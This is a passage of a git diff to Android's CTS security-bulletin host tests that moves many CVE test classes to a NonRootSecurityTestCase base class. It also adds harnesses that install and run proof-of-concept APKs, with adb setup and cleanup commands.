a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -26,7 +26,7 @@ import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39626 extends NonRootSecurityTestCase { static final String TEST_APP = "CVE-2021-39626.apk"; static final String TEST_PKG = "android.security.cts.CVE_2021_39626"; static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java index 6cac004b175..29de04e3d0c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java @@ -20,16 +20,17 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; import java.util.Arrays; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39664 extends SecurityTestCase { +public class CVE_2021_39664 extends NonRootSecurityTestCase { /** * b/203938029 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java index 311b5ce102d..79e3d0fdbd6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java @@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; @@ -28,7 +29,7 @@ import org.junit.runner.RunWith; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39665 extends SecurityTestCase { +public class CVE_2021_39665 extends NonRootSecurityTestCase { /** * b/204077881 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java index 8f12b522fad..eb2c5ab7d07 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java @@ -18,13 +18,14 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39675 extends SecurityTestCase { +public class CVE_2021_39675 extends NonRootSecurityTestCase { /** * b/205729183 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java index 444f1a55a60..f75514208c6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java @@ -23,13 +23,13 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39692 extends NonRootSecurityTestCase { @AppModeFull @AsbSecurityTest(cveBugId = 209611539) diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java index acc6a2ed00f..63235ecf78b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java @@ -23,7 +23,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Test; import org.junit.runner.RunWith; @@ -31,7 +31,7 @@ import org.junit.runner.RunWith; import java.io.File; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39700 extends NonRootSecurityTestCase { /** * b/201645790 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java index f8d6fe6f1d5..5e78a90cd85 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -26,7 +26,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39701 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39701 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 212286849) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java index cf8a688976b..cf5d47c3dd8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java @@ -21,14 +21,14 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39702 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39702 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_39702"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-39702.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java new file mode 100644 index 00000000000..9aebd152144 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39704 extends NonRootSecurityTestCase { + + @AsbSecurityTest(cveBugId = 209965481) + @Test + public void testPocCVE_2021_39704() { + try { + final String testPkg = "android.security.cts.CVE_2021_39704"; + + ITestDevice device = getDevice(); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39704.apk"); + AdbUtils.runCommandLine( + "pm revoke " + "android.security.cts.CVE_2021_39704 " + + "android.permission.ACCESS_COARSE_LOCATION", + device); + + runDeviceTests(testPkg, testPkg + "." + "DeviceTest", + "testdeleteNotificationChannelGroup"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java index cd8afef86e4..ecf096f31d1 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java @@ -21,7 +21,7 @@ import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -29,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39706 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 200164168) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java new file mode 100644 index 00000000000..e40cea6bbfb --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java @@ -0,0 +1,74 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39707 extends NonRootSecurityTestCase { + + @AsbSecurityTest(cveBugId = 200688991) + @Test + public void testPocCVE_2021_39707() { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2021_39707"; + int userId = -1; + try { + // Wake up the screen + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + // Create restricted user + String commandOutput = AdbUtils.runCommandLine( + "pm create-user --restricted CVE_2021_39707_RestrictedUser", device); + + // Extract user id of the restricted user + String[] tokens = commandOutput.split("\\s+"); + assumeTrue(tokens.length > 0); + assumeTrue(tokens[0].equals("Success:")); + userId = Integer.parseInt(tokens[tokens.length - 1]); + + // Install PoC application + installPackage("CVE-2021-39707.apk"); + runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment"); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + // Back to home screen after test + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + if (userId != -1) { + // Remove restricted user + AdbUtils.runCommandLine("pm remove-user " + userId, device); + } + } catch (Exception e) { + // ignore all exceptions + } + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java index 0ae1efa8e83..d67b4e6d53f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -27,7 +27,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39794 extends NonRootSecurityTestCase { static final String TEST_APP = "CVE-2021-39794-test.apk"; static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java new file mode 100644 index 00000000000..a427e65169a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39795 extends NonRootSecurityTestCase { + private static final String TEST_PKG = "android.security.cts.CVE_2021_39795"; + private static final String DIR_PATH = "/storage/emulated/0/Android/data/CVE-2021-39795-dir"; + + @AsbSecurityTest(cveBugId = 201667614) + @Test + public void testPocCVE_2021_39795() { + ITestDevice device = null; + try { + device = getDevice(); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39795.apk"); + + /* Make a directory inside "Android/data" folder */ + AdbUtils.runCommandLine("mkdir " + DIR_PATH, device); + + /* Allow Read and Write to external storage */ + AdbUtils.runCommandLine( + "pm grant " + TEST_PKG + " android.permission.READ_EXTERNAL_STORAGE", device); + AdbUtils.runCommandLine( + "pm grant " + TEST_PKG + " android.permission.WRITE_EXTERNAL_STORAGE", device); + + /* Allow the app to manage all files */ + AdbUtils.runCommandLine( + "appops set --uid " + TEST_PKG + " MANAGE_EXTERNAL_STORAGE allow", device); + + runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testFilePresence"); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + AdbUtils.runCommandLine("rm -rf " + DIR_PATH, device); + } catch (Exception e) { + // ignore the exceptions + } + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java index f90cae0c295..07fa92757d9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java @@ -20,14 +20,14 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39796 extends NonRootSecurityTestCase { static final int USER_ID = 0; static final String TEST_PKG = "android.security.cts.CVE_2021_39796"; static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java index ee835f50c93..1707ce92429 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java @@ -20,13 +20,13 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39797 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 209607104) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java index 1c1b246b0e5..0053fc6d219 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java @@ -20,18 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; -import com.android.tradefed.device.ITestDevice; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.After; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; import java.util.Arrays; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39804 extends SecurityTestCase { +public class CVE_2021_39804 extends NonRootSecurityTestCase { /** * b/215002587 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java new file mode 100644 index 00000000000..f1eaad2edf7 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39808 extends NonRootSecurityTestCase { + + @AsbSecurityTest(cveBugId = 209966086) + @Test + public void testPocCVE_2021_39808() { + try { + final String testPkg = "android.security.cts.CVE_2021_39808"; + + ITestDevice device = getDevice(); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39808.apk"); + runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java index f9520824b26..9745336f8aa 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java @@ -21,14 +21,14 @@ import static org.junit.Assume.assumeNoException; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_39810 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 212610736) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java index df8701c9e67..ec4d1977c01 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -26,7 +26,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20004 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20004 extends NonRootSecurityTestCase { final static String TEST_PKG = "android.security.cts.CVE_2022_20004_test"; final static String PROVIDER_PKG = "android.security.cts.CVE_2022_20004_provider"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java index 47ea7ca8a47..abc94f5837c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java @@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -28,7 +28,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20007 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 211481342) @Test @@ -37,10 +37,12 @@ public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase { final String testClass = testPkg + "." + "DeviceTest"; final String testApp = "CVE-2022-20007.apk"; final String testAttackerApp = "CVE-2022-20007-Attacker.apk"; + final String testSecondApp = "CVE-2022-20007-Second.apk"; ITestDevice device = getDevice(); try { installPackage(testApp); installPackage(testAttackerApp); + installPackage(testSecondApp); AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java index a8256d6bef0..e83f090e94d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -27,7 +27,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20115 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20115 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2022_20115"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2022-20115.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java index 8fbf4435029..baa87075b75 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java @@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; @@ -28,7 +29,7 @@ import org.junit.runner.RunWith; import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20123 extends SecurityTestCase { +public class CVE_2022_20123 extends NonRootSecurityTestCase { /** * b/221852424 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java index c94380457de..91f8e666ab6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java @@ -18,6 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -25,7 +26,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20127 extends SecurityTestCase { +public class CVE_2022_20127 extends NonRootSecurityTestCase { /** * b/221862119 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java index 08b28b63724..1aeaa1d80fd 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java @@ -22,15 +22,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20131 extends SecurityTestCase { +public class CVE_2022_20131 extends NonRootSecurityTestCase { /** * b/221856662 * Vulnerability Behaviour: SIGSEGV in self diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java index 45c6fb137fc..9e5e7eb94b4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java @@ -18,7 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -26,7 +26,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20138 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20138 extends NonRootSecurityTestCase { static final String TEST_APP = "CVE-2022-20138.apk"; static final String TEST_PKG = 